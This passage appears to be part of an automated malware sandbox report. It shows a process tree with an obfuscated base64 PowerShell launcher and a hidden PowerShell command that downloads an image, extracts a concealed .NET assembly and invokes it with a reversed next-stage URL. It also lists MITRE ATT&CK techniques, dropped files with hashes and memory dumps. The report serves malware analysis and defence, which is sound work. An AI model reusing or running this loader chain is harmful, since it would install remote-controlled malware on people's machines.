◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0fae2ca976324a808cc327d3ae1f34dc

SHA1
3dc4fc16a96bc36d3f49ea07e0aa6887d562555c

SHA256
2c6436984d008171f315013499238c9d88ce2cf1712a6577e8517639e5c63481

SHA512
f1131bdd42c9bd6850712b6a686da3ad46284a2d74d220e3dd540476a976a68c386041517c0844b7ebc5b27fc0ba60bb515c532bd79ee7cdc97bae55019c6b73

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB0EA.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB12B.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\491UL73YNT3PFTGIZTW6.temp

Filesize
7KB

MD5
a1197b8eb3b19abe92c54d2b4474c60c

SHA1
5f1650c9dc07c0c3cc8e0f10629468658cb46b72

SHA256
aeaea67b34a1250abb7964083be98d0d1fde555d07ff47a815531c64b255c8d1

SHA512
30e4c17e6a14c57ac3b250e5bc4ef8c27873e2b61b7c8edea0e9f7b854bf7a7c79d0ac4685cc0d4234153a81c8f72d67d91e175c991b6a553cf88efd2c49958d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
a1197b8eb3b19abe92c54d2b4474c60c

SHA1
5f1650c9dc07c0c3cc8e0f10629468658cb46b72

SHA256
aeaea67b34a1250abb7964083be98d0d1fde555d07ff47a815531c64b255c8d1

SHA512
30e4c17e6a14c57ac3b250e5bc4ef8c27873e2b61b7c8edea0e9f7b854bf7a7c79d0ac4685cc0d4234153a81c8f72d67d91e175c991b6a553cf88efd2c49958d

Download Submit
C:\Users\Admin\AppData\Roaming\dloidtuusdayyy.vbs

Filesize
299KB

MD5
ac706ae911a9abbe20f39aede390f201

SHA1
6701ab44f9527b914444c8af4c645b326c94d326

SHA256
919e0b230e6c07871b2c176aa29286c86d4e2b1dc54e459365020c917c9c0763

SHA512
a81bfa567eb500f15f281487dd1440751b9f5fe7923e5a7c9edb193cafceb1d4f264c19ff62a60ccf036d0d24d9028f0df915aa6173115004b86e52081db61f9

Download Submit
C:\Users\Admin\AppData\Roaming\dloidtuusdayyy.vbs

Filesize
299KB

MD5
ac706ae911a9abbe20f39aede390f201

SHA1
6701ab44f9527b914444c8af4c645b326c94d326

SHA256
919e0b230e6c07871b2c176aa29286c86d4e2b1dc54e459365020c917c9c0763

SHA512
a81bfa567eb500f15f281487dd1440751b9f5fe7923e5a7c9edb193cafceb1d4f264c19ff62a60ccf036d0d24d9028f0df915aa6173115004b86e52081db61f9

Download Submit
memory/1680-15-0x0000000071FCD000-0x0000000071FD8000-memory.dmp

Filesize
44KB

Download
memory/1680-1-0x0000000071FCD000-0x0000000071FD8000-memory.dmp

Filesize
44KB

Download
memory/1680-91-0x0000000071FCD000-0x0000000071FD8000-memory.dmp

Filesize
44KB

Download
memory/1680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1680-90-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2260-24-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2260-11-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2260-13-0x0000000002520000-0x0000000002560000-memory.dmp

Filesize
256KB

Download
memory/2260-12-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2260-86-0x0000000002520000-0x0000000002560000-memory.dmp

Filesize
256KB

Download
memory/2260-88-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2260-14-0x0000000002520000-0x0000000002560000-memory.dmp

Filesize
256KB

Download
memory/2956-23-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2956-22-0x00000000022C0000-0x0000000002300000-memory.dmp

Filesize
256KB

Download
memory/2956-87-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download
memory/2956-21-0x000000006BA70000-0x000000006C01B000-memory.dmp

Filesize
5.7MB

Download